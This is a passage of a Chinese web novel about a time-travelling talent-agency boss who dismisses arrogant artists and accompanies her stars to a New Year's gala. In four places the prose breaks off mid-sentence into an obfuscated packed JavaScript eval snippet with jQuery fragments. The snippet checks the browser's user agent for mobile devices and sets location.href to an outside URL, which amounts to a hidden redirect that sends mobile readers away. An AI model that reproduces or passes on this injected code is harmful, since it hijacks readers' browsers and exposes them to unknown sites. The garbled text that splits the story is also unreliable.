“我现在就明确地告诉你未来三个月内你不会再有任何新通告,趁着自己还有点热度赶紧找下家吧。”说完她就让小萌把他“请”了出去。
“你也是一样。”芮槐宁又转向旁边一直没有吭声的江沉威:“我记得你的合同也满三年了,如果找到了下家公司随时可以放你走。”
江沉威很快听出了其中微妙的差别,这是不是意味着如果他自己不想走的话还能再抢救一下?
“芮总,我没想解约。”他先表明了态度,然后接着道,
“您说不允许恶性竞争,但没说不能良性竞争对吧?我想知道我到底是哪里不如陆虞渊?《推推剧本杀》这个综艺本来就是我的,上一季我表现得也挺好的,观众反响也没问题,为什么突然就把我换了?”
芮槐宁有种和蠢人讲道理的无力感:
“……究竟是什么让你产生了‘这个综艺是你的’的错觉?有没有一种可能它从来都不属于你?你还觉得自己表现得挺好是吧?
“你玩得好难道不是因为俏皮话都是团队帮你想好的,线索都是录制间隙执行经纪帮你捋好的,就连投票都是执行经纪在场外给你暗示的?
“你别忘了上一季最后一期你执行经纪临时有事还是我带的你,那期凶手牌封神封得很过瘾吧?毕竟怎么藏身份怎么甩锅都是我手把手教你的。你怎么不问问自己这个剧本杀到底是你在玩还是我们在玩?
“还是你觉得我们在背后的付出都不如你一张脸重要,你才是一,没有你我们再辛苦也只是后面的零而已?”
芮槐宁前面噼里啪啦讲的时候江沉威一直都是一副“死猪不怕开水烫”的样子,直到最后这句话似乎是说中了他的心声,他的表情一下子就变了:
“是又怎么样?这个圈子里有几个艺人真的脑子好使到能玩得转剧本杀的?如果不需要明星那这个综艺随便找几个素人上去录不就好了?事实就是观众宁愿看明星犯蠢也对高智商素人没兴趣啊!”
他这话一说芮槐宁彻底放弃了沟通的打算:“明天一早解约的书面通知就会发到你手上。”
一句顶嘴把经纪约顶没了,江沉威也终于发起疯来:
“凭什么开除我?我说错了吗?明星本身就是商品,我们自己就是带有价值属性的,没有我你们这些人靠什么吃饭?执行经纪分我的钱难道不该给我兢兢业业地加班打工帮忙准备综艺吗?你们替我玩和替陆虞渊玩有什么区别?”
“谁说我们要替陆虞渊玩了?你自己没脑子不代表所有人都没脑子好吧?”芮槐宁往身后的老板椅上一靠,满脸都是嫌弃,
“有没有一种可能你的执行经纪已经投诉你好几次了?谁愿意天天录个节目跟在白痴后面给他擦屁股啊?”
“还有,你这情况是解约不是开除,要说几遍?赚这么多还拿自己当弱势群体啊?是不是没雪藏你你浑身不舒坦啊?
“另外,经纪公司和艺人之间是合作关系不是附属关系,没有你我们吃饭更香还不用为了蠢人总是加班,何乐而不为呢?
“最后,江沉威,你是真的飘得连自己姓什么都快忘了是吧?你当初在公司门口等了三天就为了求我把你签进来的时候可不是这样的。”
这句话似乎又引爆了江沉威作为男人的自尊心,他的脸涨得通红,半晌憋出一句:
“你别把话说得那么难听,我当时只是缺一个机会而已,这两三年我不是很快就红起来了吗?其羽传媒这么高的分成比例,公司靠我赚了多少钱啊?你不感恩戴德也就算了怎么还翻旧账呢?我觉得你这样特别没意思。”
这话给芮槐宁听笑了:“哎哟哟,我只是唤醒一下你尘封的记忆,不用这么破防吧?
“我说过我签人最重要的一条就是这人得有自知之明,你就算是个废物我也照样能把你捧红,但你得时时刻刻清楚地知道你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903742|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是个废物,没有其羽传媒你就什么也不是。快滚吧,垃圾场要下班了,晚了来不及收你了。”
小萌早就叫了大楼保安在门口候着,接到芮槐宁的电话就进来两个壮汉把江沉威拖走了。
小萌一副星星眼的样子看向芮槐宁:“姐你说得真好,我真的很烦这个姓江的把自己看得可牛的样子,平时他就爱拿鼻孔看人,现在终于不用再见到他了。”
芮槐宁呵呵一笑:“他说了那么多屁话,就这么放过他可不行,我还要送他一份大礼……”
这天晚上睡前芮槐宁又接到了陆虞渊一条消息:【明天下午你在公司吗?我去找你】
芮槐宁很想回复他“你好,我自己也不知道”,但最终还是忍住了,换成一句:【看情况吧,明早确定了告诉你】
第二天早上七点半,当芮槐宁被手机闹钟叫醒的时候她就明白了那个该死的跃迁航道还是没修好。
好在她已经逐渐麻木,甚至换了身运动装去了小区楼下晨跑,毕竟如今这个健康的体魄她是要带回大晟的,定期维护很有必要。
跑完以后她一边拉伸一边通知陆虞渊:【悲报,我下午会去公司】
上午无事芮槐宁又翻出了珍藏的大学课本复习以前学过的知识。
她本科毕业于化学工程与工艺专业,当年还经常跑到农业与生物技术学院去蹭课。
虽然知道自己不太可能在短短几年内学成全才,但她还是想尽可能地把现代的科学技术搬回大晟,在和系统反复沟通携带书籍、笔记等一切实物无果后她唯一的办法就是自己学,然后人肉带回。
当了这么多年的经纪人,即便是在最忙的时候芮槐宁也不敢放松复习,就怕哪天回去以后书到用时方恨少。
本来她都准备好满脑子的黑科技就等着回去连夜赶工默写出来了!出完书她就可以把这些玩意儿通通丢给工部和农政官再也不用屯在脑子里占内存了!
结果居然因为一个交通堵塞导致她不得不展开新一轮的复习以对抗记忆遗忘曲线……这是什么人间疾苦啊!
学了整整一个上午之后芮槐宁走进公司的脚步都快虚浮了。
“找我什么事儿啊?”她坐在写字桌后面有气无力地望向陆虞渊。
陆虞渊不由得身子往前倾,试图凑近了打量她:“哇,你昨晚是去蹦迪了吗?怎么感觉像是被吸干了精气一样的?”
芮槐宁翻了个白眼:“没有,处理了一点事情,连游戏都没打。”
得到了回答后陆虞渊坐了回去,诡异地沉默一阵之后又道:“……该说不说你这副模样好像对我们的名声不太好。”
芮槐宁头顶上三个问号:“???你有事吗大哥?”
“唉……”陆虞渊长叹了一口气,“还不是因为你昨天一个下午解约了俩艺人,现在公司都在传你是‘冲冠一怒为蓝颜’,我再不出面辟谣就该被那些小丫头们传成狐狸精了。”
9. 第 9 章
芮槐宁听罢“噗嗤”一乐:“男狐狸精啊?不过也不是不行,起码很符合你的长相嘛。”
她一副浑不在意的昏君模样,陆虞渊只得赏了她一个无语的眼神。
“说起来你还是太仁慈了,就应该把他们都雪藏了,干嘛要放出去为害业界啊?”陆虞渊又道。
“因为我人美心善?”芮槐宁这么说完又收获陆虞渊一个“微笑呵呵”的表情。
“不过你也不用瞎操心,”芮槐宁一手托腮一手玩鼠标,“昨晚我已经把江沉威的睿智发言剪出来广发各位优质同行了。”
尤其重点剪辑了他说“执行经纪分了我的钱就该给我兢兢业业地加班打工”以及“我替公司赚了这么多钱你们却不知道感恩戴德”的那两段。
陆虞渊整个身体都往后缩了一下,表达了一种想离她远点的迫切心情:“芮总谈话还带录音的啊?”
芮槐宁就嘻嘻笑:“现在也录着呢,你再多说两句呗?”
“多么可怕的女人啊……”陆虞渊口中这么说着,脸上却早已恢复了事不关己的懒散模样,仿佛很清楚她不过是开玩笑而已。
“所以你到底有什么事啊?”
陆虞渊哪里知道自己有什么事,他就是这两天好不容易得空了想见见她,随便找个由头罢了。
“其实吧……”他不动声色地垂眸现想,不一会儿还真让他想起一件事来,“就是想和你商量一下之前港圈陈导那边收尾的事情。
“那俩老头回去以后好像一直没什么动静,我估计是他们自己觉得太丢面子所以捂住了没往外说。”
芮槐宁点头示意他继续。
接下来编点什么好呢……陆虞渊飞速思考着:
“他们虽然不敢说见面的细节,但往后恐怕是要找其他理由到处污蔑你的……要不我去帮你公关一下,就说你那天其实是失恋被甩了心情不好所以影响了状态?”
“你敢!”芮槐宁瞪了他一眼,“姐誓死不当恋爱脑!”
“行吧……”陆虞渊想了想,“那我就说是我失恋被甩了,你被我恋爱脑气得头发昏,很担心我从此一蹶不振影响公司收入所以那天心情比较暴躁?”
芮槐宁很是疑惑地看了他一眼:“像你这种花花公子,失不失恋对你有影响吗?我有必要反应这么大?”
“别这么说啊!”此时是陆虞渊反应比较大,“我可是母胎单身,电视剧镜头外连女生的小手都没牵过的,不要乱造谣好吧。”
“诶哟喂……”芮槐宁那叫一个嫌弃,这家伙睁眼说瞎话都能说得跟真的似的。
她一边如是作想一边又蔑了陆虞渊一眼,可他的眼神太过无辜甚至隐带一丝委屈,以致于芮槐宁对上的时候脑子里突然冒出一个很吓人的念头:这货说的不会是真的吧?
“咳……”芮槐宁清咳了一声赶走这个荒谬的想法,“那什么,我觉得我们还是以不变应万变吧,你再怎么公关,那俩臭老头也不可能不记恨咱的,咱又不是小钱钱能讨每个人的欢心,对吧?”
陆虞渊本来就是胡扯的,此时自然从善如流地点头。
“说起来……”芮槐宁又想起了另一茬,表情里多了几分探究的意味,“那个李召不是还说过我总让你带新人一块儿拍戏吗?其实他说的也是实情,你就一点不介意?”
陆虞渊眨了眨眼睛,长而浓密的睫毛忽闪忽闪的:“不介意啊。”
这个答案很符合芮槐宁的心理预期,于是她唇边的笑意又深了两分:“你知道我为什么喜欢让你带新人吗?
“——因为我知道你是真的不介意。”她这么说着逐渐收敛了笑容,眼神也和刚才不一样了,黝黑的瞳仁像是要直直地看到他的心里,“陆虞渊,你到底想要什么?”
陆虞渊似是没有料到她会有此一问,先是仰头看着天花板不知道在想什么,然后又望向了窗外。
长久的沉默过后他浅浅笑了一下,声音轻飘飘的:“我也不知道啊。”
他曾经是有一个目标的,但现在他也不知道了。
“你还真是……一直以来都让我很好奇呢。”对面的芮槐宁也笑了一下,同时在心里道了一声“可惜”。
可惜她没有这么多时间陪他耗了,不然她还真想看看他这副玩世不恭的面皮下到底藏着什么样的心思。
正在二人各自沉默的当口,外面忽然热闹起来,陆虞渊率先出门查看,回来之后对芮槐宁说:“好像是12层有个打工人刚刚晕过去了。”
华安国际写字楼里公司多得很,12层那家芮槐宁依稀记得好像是什么互联网公司。
“我去看看情况。”陆虞渊一边说着一边人已经没影了,芮槐宁不太忍心看这种场面,缩在老板椅里没挪窝。
写字楼一层大厅里围满了人,陆虞渊挤不进去,只能在外围抻长了脖子向里看,一边还不忘往上拉了拉口罩。
不一会儿外头停了辆救护车,下来几个医护人员把那个还晕着的人直接用担架抬走了,吃瓜群众随之一阵骚动,有人大声地喊着“都散了都散了!有什么好看的!”
陆虞渊周围还有几个其羽传媒的同事,都在小声地说着“我的天,不会是猝死了吧?”、“说不好啊,半年前那个不就是……”
大家边聊边准备打道回府,等电梯的功夫话题又发散了:
“还是芮总有良心,健身房和运动中心的年卡公司都是全额报销。”
“这都年底了,健身房我还没去过几次呢,可惜了。”
“最牛的是,如果你是i人不愿意出门,她还能给你换成线上课和家用健身器材报销。”
“其实我特别不喜欢运动,但公司给报这事儿吧,你不去占这个便宜就跟吃亏了似的……”
回到总裁办公室,陆虞渊刚摘下口罩就迫不及待地声讨芮槐宁:“我才知道我们公司健身房年卡能报销?”
因为芮槐宁自己上辈子就是死于过劳,所以她开了公司以后也愿意鼓励员工强健体魄。不过……
她掀眼皮看了他一眼:“艺人除外。”
“你这是区别对待!”陆虞渊据理力争,“艺人难道就不是员工了吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903743|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芮槐宁想了想:“那行。年收入20万以下的艺人明年起也可以报销。”
其实陆虞渊本来也不是想找茬的,只是他从很久以前就发现——
“我总觉得你对员工比对我们艺人好太多了。”
芮槐宁却不肯承认:
“你想多了,作为公司一把手我一直是一视同仁的。没事儿干就准备你的推理综艺去,第一季看过了吗?作案手法盘明白了吗?到时候怎么平衡角色扮演和推理部分想好了吗?”
最后陆虞渊被念得捂着耳朵逃离了总裁办公室。
可一到走廊上他又放慢了脚步,目光沉沉地朝芮槐宁所在的方向看了一眼,然后才往电梯口去了。
接下来的几天里大家各有各忙,冉凌天咔咔赶论文,陆虞渊的《推推剧本杀》也很快开录,奚檐那部《东城旧巷》顺利杀青,张导还在杀青宴上搂着奚檐问他怎么不把芮总也请来。
芮槐宁本人表示:正忙着搞一轮复习呢,勿cue。
一直到了圣诞节前事情终于有了变化,因为冉凌天回国了。
他刚落地就马不停蹄地往公司赶,还没下车的时候就给芮槐宁狂发消息:
【你等我回来先】
【我马上就到了】
【不许现在做决定!】
其羽传媒总裁办公室里,芮槐宁放在写字桌上的手机隔三秒就震动一下,搅得她不得不在说话的间隙又分心去看消息。
室内靠窗的位置摆放着待客的沙发和茶几,此时沙发上奚檐和陆虞渊正面对面坐着,看向对方的眼神都称不上友善。
“小冉还有多久能到?”奚檐问。
“关他什么事啊?”陆虞渊看向芮槐宁,“你就在我俩中间选一个不就完了吗?”
奚檐也适时对冉凌天的健康状况表达了关怀:“其实还是让小冉先回家休息比较好吧?长途飞机很累人的。”
……好麻烦。
芮槐宁谁都不想理,只拿起手机默默地发出去一条消息。
冉凌天今日穿着黑色的短款皮夹克,往下是黑色长裤配一双包裹到脚踝的黑色登山靴。
从他迈进写字楼大门开始就不断地有人回头看他,认识不认识的都在小声感叹,甚至有一个路过的男生为了多看他一眼差点一头撞在大厅的柱子上。
“妈呀冉凌天真人个子好高,脸也好帅!”电梯里有不认识的小姐姐的声音传到了他耳朵里。
小姐姐的同伴也在点头,顺便悄悄拍了张照片:“而且气场好强,我快要不能呼吸了!”
冉凌天恍若未闻地出了电梯,他现在全部的注意力都在手机上。
亮起的屏幕显示着芮槐宁刚才发送的消息:【你丫还有多久能到?】
他不由得勾起唇角,一边大踏步地走向她所在的地方一边发送了两个字:【抬头】
于是芮槐宁接到消息抬起头来的时候刚好看到冉凌天推门而入,他的眼睛里像是燃着两簇小火苗,热烈而又不容拒绝地看向她:
“我回来了。”
10. 第 10 章
好强的侵略性。这是芮槐宁的第一感受。
冉凌天……确实跟三年前不太一样了,如今的他五官更深邃,面部轮廓更清晰,青涩的少年感逐渐褪去,阳光热烈的本性却保留了下来。
沙发上的陆虞渊挥了挥手微笑sayhi,奚檐也跟着开口:“小冉回来了。”
“嗯,前辈们好。”冉凌天应了这么一句又转回头去看芮槐宁了。
“你该不会有一米九了吧我说?”芮槐宁坐在椅子上不得不仰着头看他,“我记得你刚进公司的时候就一八六了?”
“没有吧。”冉凌天想了想,“没量过,不知道。”
“行吧。”芮槐宁的下巴往沙发那头一偏,“先坐。”
但冉凌天却好像没看到似的,拉开写字桌前的椅子就在芮槐宁对面坐下了。
“……”芮槐宁沉默了一会儿决定还是随他去吧。
她看了看房间里的三个人:“那就商量一下吧,今年也不知道怎么搞的,几个电视台的跨年晚会录制都撞一起了,12月22号那天我最多能跟一个人。你们有什么想法都说说看?”
往年录跨晚的时候这几棵摇钱树芮槐宁都是能跟则跟,有时候搞得自己比艺人都忙,但今年就这情况没办法,势必得三选一了。
“哎呀我刚才就说了让你跟我去湘水台了嘛。”陆虞渊最先开口,“湘水台请的流量最多,小鲜肉也多,养眼还热闹。”
冉凌天很快斜了他一眼:“录晚会又不是去玩儿的。”他仗着自己离得近,整个人趴在写字桌上看向芮槐宁:
“我可是难得回国一趟诶,你不跟我?”
芮槐宁起了玩心,也趴在桌子上让自己的视线与他齐平:“少来,你明年二月份就正式毕业了。”
但是话刚说完她又突然想到,自己二月份的时候还真不一定在了……
不过冉凌天立刻反驳道:“可我是歌手啊!他们俩的舞台表演也就是凑个热闹吧,都不一定真唱的,你去跟他们不是浪费吗?”
“喂。”陆虞渊听不下去了,干脆走过来双手撑在桌子边上俯视他,“什么叫浪费啊你个臭小子?”
冉凌天从桌面上支棱起半个身子,单手杵着腮帮子望回去:“你敢说你不是假唱?”
“我那是垫音!垫音懂不懂?”
冉凌天呵呵:“那就是半假唱,没有听的必要。”
陆虞渊急了:“演员垫音怎么了?那也比中心台强吧?总台哪年不是纯对口型?”
躺着也中枪的奚檐此时不得不为自己代言了:“总台这两年已经改成修音了。而且……”奚檐看向了芮槐宁,“今年小瑶不是要和我一起去总台跨年吗?”
小瑶全名付梓瑶,是其羽近两年刚培养起来的电影新星。
“嗯,”一直没吭声的芮槐宁终于点了点头,“有道理,小瑶是第一次上这么大的晚会,是得多加照顾。”
剩下俩人没想到奚檐这货竟然还拉外援,顿时同仇敌忾对他怒目而视。
“你非要这么说的话,”陆虞渊一挑眉,“简思薇今年也在湘水台,都是公司的好苗苗,不能因为她是第二次上跨年舞台就厚此薄彼吧?”
芮槐宁听得一个头两个大:“你们要是实在定不下来,我就去燕京卫视跟杜弘熙算了。”
杜弘熙也是其羽传媒培养出来的当红演员,很多粉丝都在期待他成为下一个影帝。
“那不行!”冉凌天杵腮帮子的手放了下来。
陆虞渊也似笑非笑地:“人杜老师跟自己执行经纪关系好着呢,未必想在跨晚见到你。”
芮槐宁眼睛刚瞪圆了,陆虞渊又立刻换上一副可怜样:
“可我就不一样了,我跟简思薇是合唱,我担心我唱劈了会把她也拖下水……但如果看到你在台下我就不会那么紧张了。你对我很重要。”
他真挚的表情配上诚恳的话术让芮槐宁叹为观止,连椅子上的冉凌天都愣了一下。
不过芮槐宁还没表态呢,沙发上的奚檐却先开口了:“如果是这样的话,那我觉得可能你更需要槐宁一点。”
接着奚檐又看向芮槐宁:“小瑶我来照顾就好,问题不大。”
“啊?”冉凌天左看右看,“不是,奚檐哥你就这么算了?那我怎么办?”
“让芮总春晚跟你嘛。”陆虞渊拍了拍他的肩膀,“你想想到底是跨晚重要还是春晚重要?春晚哥哥保证不跟你抢,怎么样?”
冉凌天思索了好半天,最后勉强点了头:“……行吧。”
芮槐宁在旁边看得无语极了,现在各个地方台的春晚邀约名单都还没定死呢,没准他陆虞渊今年根本就捞不着舞台,甚至就算有舞台也不一定会撞录制时间,结果他就这么用一张空头支票把人家小帅哥忽悠瘸了。
她同情地瞥了一眼冉凌天:“行了没你事了,玩儿去吧。”
“什么啊……”冉凌天摸了摸鼻子站起身来,“那说好了春晚芮槐宁跟我,我先回家睡觉去了,各位回见。”
奚檐也跟着起身:“那我也先走了,有事发消息。”
等这俩人都离开了之后芮槐宁才看向陆虞渊:“看到我能缓解你紧张的心情?陆老师是越来越能扯了啊。”
陆虞渊依旧站在写字桌前,微微俯身看向她:“那你为什么最后还是选了我呢?难道是因为相信了我说的鬼话吗?”
芮槐宁顿了一下,突然发现这是个非常难以回答的问题。
她又不是那两个小笨蛋,当然没有那么容易被陆虞渊忽悠到。可她为什么还是顺了他的意呢?
陆虞渊见她沉默不语便勾了勾唇,眼睛里像是氤氲着看不分明的雾气:“芮老师慢慢想,我们跨晚见。”
***
芮槐宁说跟录制就真的只跟录制,录制前几天的彩排和录音她都通通丢给他们各自的执行经纪了。
到了湘水卫视跨年晚会录制当天,小萌直接一辆商务车把六七个人都拉到了现场,除了芮槐宁和两位艺人之外,他们的助理、宣传经济以及造型
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903744|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师都来了。
还没下车陆虞渊就看到了好多自己的粉丝,电视台入口处已经做了临时的安全措施,那些自称“芋圆”的女孩子们在围栏外面举着他的手幅大声地喊着他的名字。
一边的简思薇也看到了她的粉丝们,脸上露出既克制又兴奋的表情。
车门打开前芮槐宁特地叮嘱了两个艺人:“老规矩。”
“知道了。”陆虞渊故意拖长了尾音,但还是乖乖地在迈步下车的第一秒就凹出了迷人的微笑。
所谓的“老规矩”也是芮槐宁定的,所有其羽传媒的艺人只要在公开、正规的场合里见到粉丝就必须拿出礼貌和风度,不准不理人,更不准甩脸子。
用芮槐宁本人的话说,“哪怕你的人设是逼King也得给我老老实实挥手点头”。
走酷姐风格的简思薇也跟在陆虞渊后面下了车,两个人一路上跟粉丝互动不断,陆虞渊今天心情似乎特别好,还回答了粉丝们提出的几个问题,惹得小女生们又是一阵群情激昂。
等到终于进了录制大厅陆虞渊才略微收敛了笑意,他放慢了脚步等到了走在最后的芮槐宁,又用聊闲天的语气同她说:“你对粉丝好像也挺好的。”
芮槐宁瞥了他一眼:“人家大冷天的早早就在外面等着,都不一定能进场,只是想守在门口看你一眼罢了,你打两声招呼笑一笑不是应该的?”
陆虞渊耸了耸肩:“我又没说我不愿意。”
进到后台遇到其他人之后圈内社交就正式拉开了帷幕,芮槐宁也没空再去理他。
陆虞渊想问的原本跟今天的具体情况没有一点关系,可惜被芮槐宁东拉西扯打了岔,这会儿也没机会了。
趁着没人管,旁边的简思薇悄悄和他吐槽道:“我们公司的营业指标是真的高,对我这种懒狗来说太不友好了。”
陆虞渊看了这小姑娘一眼:“那你觉得公司为什么要定这么高的营业指标?”
“不知道呀。”简思薇平时哪儿会想这些,也就现在被问到才动了动脑子,“增加粉丝黏性?展示我们的更多面?维持我们的基础热度?”
“嗯,思薇真聪明。”陆虞渊露出一副夸得很认真的表情,简思薇听罢也笑得有点小得意。
她说得也没错,其羽传媒的艺人爱营业是出了名的,就算是奚檐和杜弘熙这种实力派影星,公司也会专门安排大量的剧组花絮拍摄和活动侧拍,在艺人自己不太发东西的情况下保证物料充足。
而对于走歌手路线的艺人和陆虞渊、简思薇这种偶像剧演员来说,每个季度的自拍、翻牌和直播营业通通都有KPI,不达标就罚款。
在这种情况下,公司的艺人们确实跑粉更少,长情的粉丝更多,也更容易真情实感。
但是……
陆虞渊长长的睫毛垂了下去,很快掩盖住了他眼里真实的情绪。
虽然没什么证据,但他就是有一种直觉,芮槐宁这么做并不是图什么利益,就是单纯地想让小粉丝们更开心一点而已。
11. 第 11 章
陆虞渊想起了大半年前电视剧《擎羊决》的特别演唱会。
彼时燕京突然倒春寒,演唱会又是露天的,结果只有陆虞渊的工作人员给到场的粉丝们准备了暖宝宝,人手五个量大管热,还惠及了不少其他家的粉丝。
这件事最后上了热搜,让陆虞渊被芋圆们夸了很久,但其实那天的暖宝宝根本不是他准备的。
他忙着练自己那两首歌还要准备下一个剧组的试镜,觉都来不及睡哪有功夫管这个,是芮槐宁一大早看天气不对赶着在网上下的单,包裹到现场的时候连他自己的执行经纪和助理都惊呆了。
他们震撼于芮槐宁收买人心的手段和敏锐的营销嗅觉,陆虞渊却觉得,如果一个人对粉丝能做到这个地步,就算她的心意是假的,她对粉丝的好也是真的。
前面不远处芮槐宁正和湘水台的晚会导演聊得火热,陆虞渊收起不知飘到哪里的神思看向她,然后不太意外地发现了她神情里一点小小的不耐烦。
他往那头走了几步站到两个人中间,芮槐宁果然很快为他引见,并趁机把social的话头抛给了他,自己缩到后面躲清闲去了。
陆虞渊恍若未觉一样地顺利接棒,聊完导演又跟其他明星继续聊,还顺手带上了小师妹简思薇,芮槐宁很多时候只要往他们旁边一站,当个背景板就可以了。
带了这么多年跨晚录制,芮槐宁第一次觉得不用一直跟人叭叭讲话真是太好了。
Social得差不多了他们又回到化妆间内,简思薇先做造型,口干舌燥的陆虞渊喝下一大杯菊花茶,又转头看向旁边心情明显不错的芮槐宁:
“跟去年感觉不一样?”
去年陆虞渊也在湘水台录的跨年晚会,也是芮槐宁跟的。
“不一样,你长大了啊小渊渊!”芮槐宁一脸欣慰。
“不是我长大了,而是你终于愿意站到我身后了。”陆虞渊放下保温杯,“明明就不喜欢这些事,为什么从来不跟我说?”
芮槐宁心说你开玩笑吧?我怀宁大帝需要向你一个平民求助?不过其实她今天愿意往后缩也是因为利益不相关了。
毕竟经纪人跟晚会录制不是坐在那里看看就行了的,每一个圈内盛会都是结交新人脉,巩固旧关系的好机会。
在这个圈子里只要还想赚钱就离不开人群,为了赚最多的钱,纵然是怀宁大帝也得融入群众。
但是现在都不需要了!交完买路财就是这么爽!
美美摆了一回烂的芮槐宁笑眯眯地口是心非:“你想多了,我最喜欢跟大家聊天了,今天让你主讲其实是为了锻炼你。”
完全不需要锻炼的真·社交花孔雀·陆虞渊先生赏了她一个微笑的表情。
两个艺人做造型的时间里化妆间的门被敲响了好几次,每回进来的都是不一样的面孔。
有些是从其羽传媒出去的成名艺人,像是去年的新晋视后程湾,有些则是跟别的公司合约快要到期的上升期新人。
这两类人的共同点在于,他们都是冲着芮槐宁来的。
简思薇一边由着化妆师折腾一边借着巨大的化妆镜观察房间另一边的动静,那头的沙发上芮槐宁正在和今年唱片刚刚获奖的歌手齐悦婵聊天,她也是从其羽传媒出去的。
“陆哥,你妆都化完了不过去跟他们坐坐吗?”简思薇瞟了眼依旧坐在旁边化妆椅上的陆虞渊。
“人家又是叙旧又是招新的,我才不去讨嫌。”陆虞渊的语气多少带点酸。
但是简思薇并没有听出来,而是愉快地顺着他的话说:“我今天才终于见识了咱芮姐在圈子里的人气,这算不算是另一种层面上的‘桃李满天下’?”
无论是在影视圈还是歌坛,跟芮槐宁有关系的明星实在太多了。
比起其他经纪公司动不动就是十年八年的长约,其羽传媒实在很特别,它一般都只跟艺人签三年的合同,在此期间艺人需要给公司的分成比例高得离谱,不过三年之后双方想要提出解约都很容易。
但偏偏好多艺人就算三年到期还是赖着不肯走,原因和那些挤破头都想进其羽的人一样:他们相信芮槐宁能让自己红,一直不走就能一直红。
“嘁,像她这么黑心的奸商也能当得起‘桃李满天下’这句话吗?”陆虞渊的反驳声小得像是在自言自语,简思薇显然也并没有注意到他说了什么,这小丫头现在全副心思都在厉害爆了的芮姐身上。
又过了一会儿简思薇眼睛突然一亮:“诶,这个刚进门的男生好帅啊!是前段时间他们团解散之后刚solo了几个月的那个爱豆吗?他也想进咱们公司?”
陆虞渊却只看了一眼就没兴趣了:“爱豆进不来的。”
简思薇回忆了一下,然后露出了一副痛失帅气新同事的惋惜表情:“最近这两年好像是不太签爱豆了……不过为什么呀?”
陆虞渊“嗤”地笑了一声:“可能是不太看得上吧。”
“是吗?”简思薇明显不是很认同这个说法,但陆虞渊似乎也没有进一步解释的意愿。
正好这会儿简思薇也化完了妆,于是她很快坐到沙发那边去找小萌聊天了。
陆虞渊依旧坐在化妆椅上没挪地方,眼睛看着镜子里那另一半热闹的房间不知道在想什么。
快要到录制开始的时候了,场务敲开房门通知他们准备,芮槐宁也站起身来跟在简思薇后面往外走。
路过陆虞渊的时候他突然开口:“昨天彩排前我去了一趟公司,正好听到25楼几个女生在聊你那个不许化妆的通知。”
他这个话头起得莫名其妙,芮槐宁“哦”了一声表示知道了,继而又催促道,“录制要开始了,你快点吧。”
但陆虞渊却依然站在原地:“你就不想知道她们都说了些什么?万一大家都在骂你呢?”
这回芮槐宁终于停下脚步看向了他。
她不是很喜欢艺人在应该工作的时候故意拖延、整幺蛾子,毕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903745|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竟所有资源都不是天上掉下来的,背后都有整个团队在努力,无视别人辛苦付出的人是可耻的。
她的眼睛眯了起来:“那你是盼我好还是盼我不好呢?”
此时门外熙熙攘攘,大家都在往录制棚走,而门内却连空气都好像有些半凝固了。
陆虞渊最终没有回答这个问题,而是突然状似轻松地笑了起来,率先迈出了步子,边走边道:
“她们说一开始不让化妆还有点不适应,但习惯了以后又觉得早上多睡五分钟也不错……芮槐宁,你这都没翻车,运气真好啊。”
陆虞渊很少这么连名带姓地喊她,芮槐宁顿了一下,语气里不免带了点嘲讽:“让你失望了?不过你知道为什么大家不骂我吗?”
两个人都在目不斜视地往前走,但也都知道嘴里的话就是说给彼此听的。
“我还真不知道。为什么呢?”
“因为前两天大家的年终奖刚好到账了,比去年翻了一倍。”芮槐宁加快了脚步,“所以人啊,想作怪就得有实力,否则还是老老实实的好。”
接下来的晚会录制过程还算顺利,陆虞渊发的神经最终并没有影响到他的工作状态,于是第一首歌录制结束后芮槐宁的脸色也比先前好了一点点。
不过简思薇和陆虞渊后面还有一首跟其他艺人的大合唱要录,俩人还得去后台再换一套演出服。
芮槐宁今天的社交指标已经用光了,所以干脆连化妆间也没回,而是随便找了个台侧的角落猫着。
但就在这个时候她的手机屏幕却亮了起来,点开后是陆虞渊发过来的一条消息:
【对不起,我想了很久,好像还是没法盼你不好】
这句话换了旁人来看肯定要皱眉,因为它看上去奇奇怪怪的,让人辨不清里头的意思。但芮槐宁看完却笑了一下,然后很快回了一条:
